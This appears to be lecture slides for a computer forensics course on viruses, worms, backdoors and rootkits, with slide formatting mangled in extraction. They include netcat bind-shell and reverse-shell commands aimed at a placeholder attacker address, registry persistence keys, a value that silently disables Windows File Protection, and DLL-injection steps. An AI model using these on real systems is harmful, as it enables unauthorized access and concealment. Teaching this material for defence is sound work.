Viruses Worms Mobile Code COEN 252 Computer Forensics

Viruses, Worms, Mobile Code COEN 252: Computer Forensics

Viruses: The Principle n n Virus attaches itself to a host that can execute instructions contained in the virus. When the host is invoked, the virus copies itself to other locations on the system.

Executables n Companion Infection Technique n OS will call the virus when the user requests the companion file. n n n Windows: Virus is Notepad. com to hide as Notepad. exe. Set the hidden attribute to prevent the virus from being seen. Launch the true notebook. exe file from the virus. If the user selects Start Run and types in notebook, then windows starts the virus (notebook. com instead of notebook. exe)

Executables n Companion Infection Technique n n n Windows: Virus renames Notepad. exe to Notepad. ex_ and hides it. Virus takes the place of Notepad. exe. Works with shortcuts. Used in the Trilisa virus / worm (2002)

Executables n Companion Infection Technique n Virus uses alternate data stream feature of NTFS: n n Streams look like one file in explorer and directory listings. System activates the default stream, the virus. Virus calls alternate stream. Win 2 KStream Virus (2000)

Executables n Overwriting Techniques n n Virus replaces part of an executable. Usually the executable looses functionality. Users will now that there is something wrong. Prepending Techniques n n Virus placed in front of executable. After virus executes, host program is called. Very easy for. com files. Easy to clean files. n n Bliss virus had a disinfect mode built into it. Used by the NIMDA worm.

Executables n Appending Infection Technique n n n Insert itself at the end of host file. Add a jump at the beginning of host file. Stealth Techniques for Prepending and Appending: n n Compress host. When virus calls hosts, host is uncompressed into RAM. Fill up total package (virus, compressed host) to same size as original host. Change filler so that checksum is not changed.

Boot Sector Modification n n Target Master Boot Record or Partition Boot Sector. Michelangelo Virus (1991). n Replaced MBR boot strap to elsewhere on disk. n n n First the virus loads itself into memory, then it passes control to the original MBR boot sector. Places itself into all boot sector of all floppies. Memory-resident copy of the virus is attached to low-level BIOS drivers. Gets called when these are executed. Can no longer spread under Win. NT, Win 2 K, Win. XP, only wreak havoc, e. g. by overwriting the sectors right after the partition boot sector.

Infection of Document Files n Many software use Macros: n n MS Office, Word. Perfect Office, Star. Office, Open. Office, Auto. CAD, Excel, … Win. Office runs code in subroutines n n n Document_Open() Document_Close() Auto. Exec() …. Virus can copy itself to the victim’s Normal. dot file. n Normal. dot file is processed whenever Win. Office starts.

Other Targets n n Source Code Scripts n Visual Basic Scripts (. vbs) used by OS: n n Startup. vbs Exec. vbs Shell scripts, Perl scripts Java Class Files n Platform independent viruses

Propagation Techniques n Removable Storage n Boot sector viruses, executable viruses n n n Yamaha’s CD-R drive firmware update contained the Chernobyl virus. Email attachments Shared directories

Anti-Virus Defense n Antivirus software on gateways: n n n User workstations File servers Mail servers Application servers Border firewalls Handhelds.

Anti-Virus Defense n Virus signatures n Looks for small patterns indicative of a known virus. n n Polymorphic viruses Heuristics n Looks for programs with bad behavior: n n n Attempts … to to access the boot sector locate all files in a directory write to an exe file delete hard drive contents

Anti-Virus Defense n Integrity Verification n Generate database of hashes of important files. Recalculate these hashes and compare them to known values. Configuration Hardening n n Least privilege Minimize active components. Set warnings (e. g. against macros) User education

Anti-Virus Defense n Stealthing n n n Hide virus files. Intercept scanning of infected files. Slow rate of infection. … Polymorphism and Metamorphism n n Change order of instructions in virus code Use equivalent code (increment = subtracting with -1) Encryption of most of the virus body. Slightly change functionality of virus as it spreads.

Anti-Virus Defense n Antivirus software deactivation n Kill processes known to be antivirus processes. Disable internet access to antivirus vendor’s pages. Change security settings (e. g. allow Word macros to run)

Worms: n Propagates across a network n Typically, does not require user action for propagation. Virus: n Infects files. n Typically requires user interaction.

Worms Worm Components n n n Warhead Propagation Engine Target Selection Algorithm Scanning Engine Payload

Worm Warhead n A piece of code that exploits a vulnerability on the target system n n Exploits such as Buffer Overflow Exploits File Sharing Attacks E-mail Common Misconfigurations

Worm Propagation Engine n n n After gaining access, the worm must transfer itself to the target machine. Some worms are completely contained in the warhead. File Transfer Mechanisms n n FTP TFTP HTTP SMB (MS Server Message Block) n n Windows file sharing Unix servers running SAMBA

Worm Target Selection Algorithm n Once the worm has gained control of a target, it starts looking for new targets. n n n E-mail addresses Host lists Trusted Systems Network Neighborhood DNS queries Randomly selected ip address.

Worm Scanning Engine n Once targets are identified, the worm scans for the original vulnerability.

Worm Payload n n Some specific action done on behalf of the attacker. Opening up a backdoor. Planting a distributed denial of service attack. Performing complex calculations: n n password cracking math research (actually happened)

Worm Spread n Worm spread is limited n Diversity of machines n Tiny worm n n n targeted only machines running security software from a medium company was successful in infecting most machines. Worms can contain support for multiple entry methods. Too many victims crash Fast worms can cause network congestion

Worm Trends n n n Multiplatform worms Multiexploit worms Zero-day exploit worms n n Fast-spreading worms: Warhol / Flash n n pre-scan targets Polymorphic worms n n No chance to patch Change appearance Metamorphic worms n Change functionality

Worm Defenses n n Ethical (? ) Worms Antivirus tools Fast patching services Firewalling n n n Block arbitrarily outbound connections Prevents spreading Establishment of Incident Response Capabilities

Malicious Mobile Code

Backdoors Backdoor: A program that allows attackers to bypass normal security controls on a system, gaining access to which they are not entitled.

Backdoor Types n n Local Escalation of Privilege Remote execution of individual commands. Remote command-line access. Remote control of the GUI.

Backdoor Installation n n Attacker has compromised the system Virus, worm, or malicious mobile code installs the backdoor. Social engineering: Tricking the victim into installing the backdoor. .

Starting backdoors automatically Attacker wants to maintain access to the system. n Backdoor needs to restart whenever the system restarts. n Methods are OS dependent.

Starting backdoors automatically on Windows n n n Altering Startup Files and Folders Registry Task Scheduler

Starting backdoors automatically on Windows n Startup folders and files n Autostart folders for individual users and all users.

Starting backdoors automatically on Windows Use: n win. ini n system. ini n n n Modify “shell=explorer. exe” on Win 9 x wininit winstart. bat (Win 9 x) Autoexec. bat (Win 9 x) Config. sys (Win 9 x)

Starting backdoors automatically on Windows n Registry keys start programs on login or reboot: n HKLMSOFTWAREMicrosoftWindowsCurr ent. Version n n n Run. Services. Once Run. Services Run. Once. Ex

Starting backdoors automatically on Windows n HKCUSOFTWAREMicrosoftWindowsCurr ent. Version n n n Run. Services. Once Run. Services Run. Once. Ex

Starting backdoors automatically on Windows n Registry keys start programs on login or reboot: n n n HKLMSOFTWAREMicrosoftWindows NTCurrent. VersionWinlogonUserinit HKLMSOFTWAREMicrosoftWindowsCurrent. Vers ionShell. Service. Object. Delay. Load HKLMSOFTWAREPoliciesMicrosoftWindowsSys tem n n Scripts ExplorerRun

Starting backdoors automatically on Windows n Registry keys start programs on login or reboot: n n n HKCUSOFTWAREMicrosoftWindows NTCurrent. VersionWinlogonUserinit HKCUSOFTWAREMicrosoftWindowsCurrent. Vers ionShell. Service. Object. Delay. Load HKCUSOFTWAREPoliciesMicrosoftWindowsSys tem n n Scripts ExplorerRun

Starting backdoors automatically on Windows n Registry keys start programs on login or reboot: n HKCRExefilesShellOpenCommand n Indicates programs that will be run every time another. exe is run.

Starting backdoors automatically on Windows n Use the task scheduler n Check scheduled tasks with autoruns from Sysinternals

Starting backdoors automatically on Unix n n n Modifying the init daemon Modifying system and service initialization scripts Modify the internet daemon script Change user startup scripts Schedule jobs with Cron

Starting backdoors automatically on Unix n Modify the init daemon n init daemon is the first process to start. uses /etc/inittab to find other processes that need to be started attacker merely adds line to inittab.

Starting backdoors automatically on Unix n Modify system and service initialization scripts n About 20+ system scripts n n Located in /etc/rc. d or /etc/init. d Or merely plant a backdoor in an initialization script for another service. n E. g. ppp daemon n n for PPP modem dial-up connections inetd n n network daemon change /etc/inetd. conf

Starting backdoors automatically on Unix n Adjust user startup scripts n n n . login. cshrc /etc/profile. logout. xinitrc. xsession

Starting backdoors automatically on Unix n Schedule jobs with Cron

Backdoor Defenses n System integrity tools like tripwire

Backdoor with netcat n n netcat compiles into executable nc. On the victim: n nc –l –p 2000 –e cmd. exe (Windows) n nc –l –p 2000 –e /bin/sh (Unix) Sets up a listener on port 2000. On the attacker: n nc [victim address] 2222 n gives command shell.

Backdoor with netcat n n Only works if attacker can establish a TCP connection to the port on the victim. Firewalls can block this.

Backdoor with netcat n n Use an open door in the firewall: Shoveling a shell n On the attacker’s machine: n nc –l –p 80 n n netcat listener on port 80 On the victim’s machine: n nc [attacker’s address] 80 –e cmd. exe initializes outgoing connection to attacker then executes a shell

Backdoor with netcat n Alternatives to netcat cryptcat n Tini n. Q n Bindshell n Md 5 bd n UDP_Shell n TCPshell n Crontabbackdoor n

Virtual Network Computing n Remote GUI tools n n n n Virtual Network Computing (VNC) Windows Terminal Services Remote Desktop Service Citrix Meta. Frame PCAnywhere Dameware Back Orifice 2000 Sub. Seven www. megasecurity. org

Virtual Network Computing n n VNC server allow to shovel a shell. Can be remotely installed: n n n Attacker has remote shell access on victim Attacker installs copy of VNC on his machine Attacker exports the registry keys associated with VNC to the victim Attacker moves four files to victim Attacker adds registry changes to victim n n This will display a VNC installation successful message on the victim Attacker starts VNC

Defenses against Backdoor Shell Listeners n Use firewalls n n n Look for open ports. n n n Filter traffic in both directions. Firewall individual machines. On the network (Nmap) Or with a trusted tool (on CD) locally. Close unneeded ports.

Backdoors without ports n ICMP backdoor n n n ICMP messages don’t use ports. Firewalls need to let some ICMP messages pass. ICMP messages can carry a few bytes of payload.

Backdoors without ports n ICMP backdoors: n n Loki 007 shell ICMP Tunnel available at www. packetstormsecurity. org for free.

Non-Promiscuous Sniffing Backdoors n Sniffer in non-promiscuous mode sniffs for commands in packets destined for the local machine.

Non-Promiscuous Sniffing Backdoors n Cd 00 r n sniffs for TCP packets to ports X, Y, Z n n n syn packets to X, Y, Z: sniffer activates backdoor opens TCP port and shovels shell. n n n the ports are not open This can be detected. Is however unnecessary with a sniffer “Future releases” will discontinue this practice. Just craft special packets instead. when backdoor closes, port is closed.

Promiscuous Sniffing Backdoors n Promiscuous sniffer can gather packets send to any machine on the same LAN segment. n IP address of suspicious traffic does not have to originate on the victim machine.

Promiscuous Sniffing Backdoors

Promiscuous Sniffing Backdoors n Attacker has compromised the DSN server and installed a promiscuous sniffing backdoor there.

Promiscuous Sniffing Backdoor n n Attacker sends a packet to the webserver at port 80. Messages passes through the firewall.

Promiscuous Sniffing Backdoor n n Sniffer on the DSN server sniffs the package. Webserver does not know what to do with a malformed request. Firewall: Message to webserver. Let pass.

Promiscuous Sniffing Backdoor n n Backdoor on DSN reacts to packet. Sends back message to attacker. Spoofed return address from webserver. Firewall lets it pass. Firewall: Message from webserver. Let pass.

Defenses against backdoors without ports n n n Backdoors still create running processes. Backdoors still create network packets. Backdoors might put MAC cards into promiscuous mode.

Trojan Horses a program with added functionality.

Trojan Horses n Hiding names n n change name (of netcat, vnc, . . . ) play with windows suffixes n just_text. txt n n This is ONE word with a bunch of spaces in it Use the. shs suffix (suppressed by system) n n n . exe just_text. txt Shell scrap object . shs Windows uses the suffix to decide what to do with a file.

Trojan Horses n Hiding names n take someone else’s name. n n overeager system administrators might even remove the legitimate program thinking it might be your fake program. windows does not let you kill program with certain names. n n n regardless of content csrss. exe, services. exe, smss. exe, System Idle Process, winlogon. exe There might be more than one legitimate process named winlogon or csrcc. exe

Trojan Horses n Hiding names n n use common typos of important files for a Trojan ifconfig instead of ipconfig.

Trojan Horses Defenses n n Pskill will kill any horse / process. Fport and lsof will find open ports associated with the horse. Tripwire could find substitutes for executables. Filter email attachments that are executable.

Wrappers n Wrap malware in a good program. n A. k. a. binders, packers, exe binders, exe joiners. n n AFX File Lace, Elite Wrap, Exe 2 vbs, PE Bundle, Perl 2 Exe, Saran Wrap, TOPV 4, Trojan Man Combat with n n n Anti-virus software File System Integrity checkers (Tripwire) Posted MD 5, SHA 1 values of downloads

Definition of Rootkits are Trojan horse backdoor tools that modify existing operating system software so that an attacker can keep access to and hide on a machine.

Unix User Mode Rootkits n Rootkits are bundled packages consisting of: n n n Binary replacements that provide backdoor access. Binary replacements that hide the attacker. Other tools for hiding Additional Odds and Ends Installation Script

Unix User Mode Rootkits: LRK n n Around since the early nineties. version 6 is appearing.

Unix User Mode Rootkits: LRK n n Around since the early nineties. version 6 is appearing.

Unix User Mode Rootkits: LRK n Backdoor Access: n Trojan login, rsh, ssh n n n Remote shell on a chosen port n n Altered login, rshd, sshd Same functionality, but with a special backdoor password for “rewt” that gives root access. altered inetd, tcpd Local privilege escalation backdoors: n chfn, chsn, passwd, su

Unix User Mode Rootkits: LRK n Binary Replacements that hide the attacker: n Processes n n n ps top pidof killall crontab

Unix User Mode Rootkits: LRK n Network use n n n Files n n netstat ifconfig ls find du (omits space taken by hidden files Events n syslogd

Unix User Mode Rootkits: LRK n Other tools for hiding: n fix n n n resets the MAC times of trojaned system files. pads files so that the CRC check matches the one of the original files. zap 2, wtmp n blanks out / edits information in important files: n n n utmp, wtmp n stores data on users currently / ever logged in. btmp n stores data on bad logins. lastlog n stores data on last login for users

Unix User Mode Rootkits: LRK n Goodies n bindshell n n n creates a backdoor listener attacker connects with netcat to the listener sniffer n linsniffer grabs IDs and passwords for ftp, telnet

Unix User Mode Rootkits: LRK n LRK Installation Script n n makefile allows to choose configuration No need to understand any of the workings of LRK n installs in seconds / few minutes

Unix User Mode Rootkits: URK n Universal Root Kit n n Functions on a variety of Unix variants Has slightly less functionality than LRK

EFS 2 Manipulations n n Run. EFS, Defiler’s toolkit foil computer forensics investigations on a UNIX machine. Run. EFS n n n adds pointers of good blocks to the bad blocks inodes. stores data in them. Cornoer’s Toolkit and derivatives don’t look at these blocks.

EFS 2 Manipulations n Defiler’s toolkit destroys data that a forensics tool can harvest. n n shred and other overwrite tools destroy data in a block. Defiler’s toolkit destorys inode and directory information as well. n n Necrofile scrubs inodes clean Klismafile overwrites directory entries associated with deleted files. n n This leaves blank spots in a directory. This shows that someone used Klismafile.

Windows User Mode Rootkits n Windows File Protection (WFP) n Scans for changes to critical executables and libraries. n n n Compares digital signatures of 1700 files to a protected file If WFP detects a change it searches for an authorized file in different locations. WFP can be altered n n Windows Service Pack Installations (Update. exe) Hotfix distributions (Hotfix. exe) Windows Update Feature Windows Device Installer

Windows User Mode Rootkits n Implementing user mode rootkits in windows: n n n Use existing interfaces Overwrite file Use DLL injection and API hooking to manipulate running processes in memory.

Windows User Mode Rootkits n Use existing interfaces: Fake. GINA n sits between winlogon and msgina

Windows User Mode Rootkits n Windows uses Graphical Identification a. Nd Authentication (GINA) n Windows allows system administrators to install third party GINA tools. n n Attacker sets registry key n n Windows ships with default GINA (msgina. dll) HKEY_LOCAL_MACHINESoftwareMicrosoftWindows. NTCurrent. VersionWinlogon to install Fakegina n Fakegina gathers passwords, passes logon credentials to the real msgina. dll.

Windows User Mode Rootkits Changing WFP Settings n WFP configuration is stored in the registry n n Attacker can change system file and then 1. delete the version in DLL cache. n n n WFP cannot find a correct version. Sends message to request system CD. Administrator might ignore message

Windows User Mode Rootkits n Attacker can 2. Alter the location of the Dllcache by modifying the registry. n n 3. WFP checks signatures and finds many mistakes. Log is full of warnings. Turn off WFP by changing a registry key n n WFP still active until reboot. Warning message after reboot.

Windows User Mode Rootkits n Attacker can 4) set the SFCDisable key to value 0 x. FFFFFF 9 D. n n Completely disables WFP on Win 2000 No dialog warning Only a message that WFP is inactive. Code Red II used method 4.

Windows User Mode Rootkits n DLL Injection n forces an exe process to accept a DLL it never requested. n n n Allocate space in victim process for the DLL code to occupy. (Virtual. Alloc. Ex) Allocate space in victim process for the DLL parameters. (Virtual. Alloc. Ex) Write name and code into the memory space of the victim process. (Write. Process. Memory) Create a thread in the victim process (Create. Remote. Thread) Free up resources in the victim process after execution is complete.

Windows User Mode Rootkits n DLL Injection allows to hijack any process n n Attacker must have Debug Programs right on system. Attacker uses DLL injection by n n n modifying running dll that displays information on the screen. Modified dll still calls original dll. But does not display all the data.

Windows User Mode Rootkits n AFX Windows Root. Kit n n n Attacker uses afx windows rootkit configuration console to generate code on his machine. Then executes it on the victim’s machine. AFX Win. RK n n n installs itself in the System 32 directory. Creates iexplore. dll and explorer. dll injects explorer. dll and iexplore. dll into explorer. exe n n That process displays the GUI to users. hides network connections, files, . . .

Rootkit Defenses n Preventing Root Kits n n Harden systems and apply patches. Detect Root Kits n n File Integrity Checking (Signatures) Root Kit Identification n n Look for specific changes made in most root kits chkrootkit for Unix

Kernel Mode Rootkits n Kernel Functions n n n Process and Thread Interprocess Communication Memory File System Hardware Interrupts

Kernel Mode Rootkits n Kernel n Relies on hardware level protection n n Ring 0 vs. Ring 3 for Intel CPU Prevents user processes from accessing critical kernel data structures.

Kernel Mode Rootkit n n Processes running in kernel mode belong to the kernel. Administrator, root only invoke user mode processes. n n These processes access the kernel. Change in kernel changes behavior of all processes.

Kernel Mode Rootkit n Kernel Mode Rootkit Capabilities n n n File & Directory Hiding Process Hiding Network Port Hiding Promiscuous Mode Hiding Execution Redirection Device Interception and Control

Kernel Mode Rootkit n Advantages over User Level Rootkit: n n Changes all programs that try to discover something from the kernel. Statically linked binary forensic tools no longer work

Linux Kernel Get a laptop and try it out!

Linux Kernel n Linux allows us to look at many internal kernel structures: n /proc n n Slash proc Virtual directory, lives only in memory. Lots of commands just grab info from /proc. We can write to certain areas of /proc such as /proc/net

Linux Kernel n /proc n n n /cpuinfo /devices /ksmg n n Log messages from kernel /ksyms n List of all variables and functions that are exported via loadable kernel modules on the machine

Linux Kernel n /proc n n /net /stat n n /sys n n Statistics such as data about CPU, virtual memory, hard drive usage Kernel variables. /version

Linux Kernel n /dev n n Contains pointers to various devices. /dev/kmem n n Image of the running kernel’s memory /dev/mem n Image of all the memory Gibberish without special tools

Linux Kernel n User mode processes use System Calls to access kernel. n Embedded in the systems libraries: n n n n SYS_open SYS_read SYS_write SYS_execve SYS_setuid SYS_get_kernel_syms SYS_query_module

Linux Kernel n Located in n n /usr/include/syscall. h /usr/include/bits/syscall. h /usr/include/asm/unistd. h Or similar locations.

Linux Kernel n System Call Table: n n n Array maintained by the kernel that maps individual system call names and numbers. Located also in memory. On harddrive: n n “less /boot/System. map” Use strace to find the system calls made by a command: n “strace ls”

Linux Kernel

Linux Kernel Manipulations n Loadable Kernel Modules n Legitimate Linux / Solaris kernel feature n n Add support for new hardware Can replace existing kernel features without system reboot.

Linux Kernel Manipulations n Attacker uses insmod to n n Alter System Call Table. Load Kernel module.

Linux Kernel Manipulations n Evil kernel module alters SYS_execve Looks at calling process. n If process is for a program that attacker wants to redirect n n Attacker can wrap the true SYS_execve code. n n Evil kernel module actually calls another program. Makes it easy to generate the altered version of SYS_execve. This alteration defeats file integrity checking tools. n SYS_execve code is still there, only n n n Never called. Called if not interfering with attacker (if wrapped). True login function, true sshd, true … not called, but replacements are.

Linux Kernel Manipulations n n Loadable kernel modules do not survive a system reboot. Attacker alters programs in the boot process. n n init Once inserted, loadable kernel module hides changes to the altered boot process

Linux Kernel Manipulations n Mighty Adore n n n Loadable kernel module Adore interface: Ava. Kernel Intrusion System (KIS) n Comes with slick GUI

Linux Kernel Manipulations n n Alternative to Loadable Kernel Module Use /dev/kmem n n n Attackers can use tools that read and write to kernel memory image. Attacker can insert alternative code for system calls. Attacker can change the System Call Table.

Linux Kernel Manipulations n Patching Kernel Image File n Simplest way: n Attacker “patches” vmlinuz file. n Contains the kernel image.

Linux Kernel Manipulations n User Mode Linux (UML) n n UML at user-mode-linux. sourceforge. net Runs entire Linux kernel inside a normal user-mode process. Like VMWare, creates virtual environment. Sysads, users are running in this virtual environment.

Linux Kernel Manipulations n Kernel Mode Linux Project n n n Allows certain user processes to run in kernel mode. Attacker patches kernel with KML. Attacker now has processes that run in kernel mode. n Writes code to alter system call table and system call code.

Defending the Linux Kernel n Prevention n Deny superuser access to attackers. Patch quickly. Change kernel so that it no longer allows loadable kernel modules. n n n Redhat 8. 0, Redhat 9. 0, Linux 2. 5. 41 Install Systrace to track and limit systems calls. Use Linux Security Module in your kernel.

Defending the Linux Kernel n Kernel Mode Root. Kit Detection n Look for suspicious network activity File Integrity Checkers (to catch the not quite good enough hacker). chkrootkit n Looks for system anomalies. n Each directory has a link count. Link count should be equal to the number of files + 2.

Defending the Linux Kernel n Kernel Mode Root. Kit Detection n Kernel Security Therapy Anti-Trolls (Linux 2. 4) n n Looks for changes to the system call table. Scans /dev/kmem Looks for memory locations of system calls and compares with System. map Creates fingerprints of system calls and various critical programs.

Defending the Linux Kernel n Kernel Mode Root. Kit Detection n Syscall Sentry n n n Loadable kernel module. Checks for modules that alter the system table. Alerts system administrator in this case.

Windows Kernel n n User process calls DLL can n return to user process. Go to csrss. exe (client server runtime) n n Require kernel function

Windows Kernel n n User process makes call to Read. File Win 32 Subsytem DLL makes call to Nt. Read. File in Ntdll. dll n n Ntdll. dll makes a call to the Executive. n n Ntdll. dll translates well-documented API into rather obscure ones (that can be easily changed. ) Executive sits inside ntoskrnl. exe Determines which piece of kernel code is needed to handle request. Kernel code interacts with hardware (disk). Uses Hardware Abstraction Layer (HAL. dll).

Windows Kernel n Ntdll. dll call into kernel: n System service dispatching. n n Essentially a system call. Uses the System Service Dispatch Table. n Table indicates where the appropriate system service code is located within the kernel.

Windows Kernel: Tools n Ctrl + Alt + Del n Task Manager Process Table

Windows Kernel: Tools n Start Control Panel Administrative Tools Performance n Click “+” and check process

Windows Kernel: Tools n Dependency. Walker (www. dependencywalker. com)

Windows Kernel: Tools Process Explorer http: //www. sysinternals. com/ntw 2 k/freeware/ procexp. shtml

Manipulating Windows Kernel n Same basic strategies as in Linux: n n n Evil Device Driver. Alter running kernel in memory. Overwrite kernel image on file. Deploy kernel on a virtual system. Run user-mode code at kernel level.

Manipulating Windows Kernel n Evil Device Driver n n Alters system service call handling by loading a device driver. Replaces or alters kernel functions. Needs administrator privileges. Needs to get evil code to run: n n n Overwrite existing kernel functionality Alter system service dispatch table to point to new code. Alter System Service Dispatcher.

Manipulating Windows Kernel n Altering a Running Kernel in Memory: n Windows uses the Global Descriptor Table (GDT) to manage memory. n n n GDT stores division into various segments. Store segment accessibility by ring 0/3. Unfortunately, attacker can add a memory segment to the GDT. n n Greg Hoglund Phrak 55 Explains how to bypass Security Monitor. Add memory segment from location 0 x 0000 to 0 xffff. This gives memory access to all user processes!

Manipulating Windows Kernel n Altering a Running Kernel in Memory: n n n Manipulate DevicePhysical. Memory object. Use Phys. Mem from sysinternals. com. Attacker can now change system functionality.

Manipulating Windows Kernel n Patching the Kernel on the Hard Drive n System boot checks integrity of Ntoskrnl. exe. n n n Thus, not possible to only change the kernel file. Have to change both the integrity checker and the kernel. Integrity checker sits in NTLDR. n Change one instruction to jump over the integrity check.

Manipulating Windows Kernel n Patching the Kernel on the Hard Drive n n n Patch first NTLDR to disable integrity check. Then patch Ntoskrnl. exe to disable security access check. Now introduce rootkit.

Manipulating Windows Kernel n Create a fake system using a virtual machine. n Variety of Virtual Machines n n VMWare Plex 86 Virtual PC Bochs But need to hide start-up message. Unlike Linux, that is difficult.

Protecting the Windows Kernel n n Prevent access to the machine. Detect a rootkit: n n Antivirus tools recognize most rootkit files before installation. Some rootkits can be spotted afterwards. n n Because developers were careless. File Integrity Checkers

Protecting the Windows Kernel n Removing Rootkits n n Analyze system without invoking the kernel. Use a FIRE or Knoppix bootable CD-ROM and look at the hard drive. n Registry / File System.

Next Generation Malware n BIOS n n n Malware active before booting from a device. Bioscentral website for tools to look at BIOS. Microkernel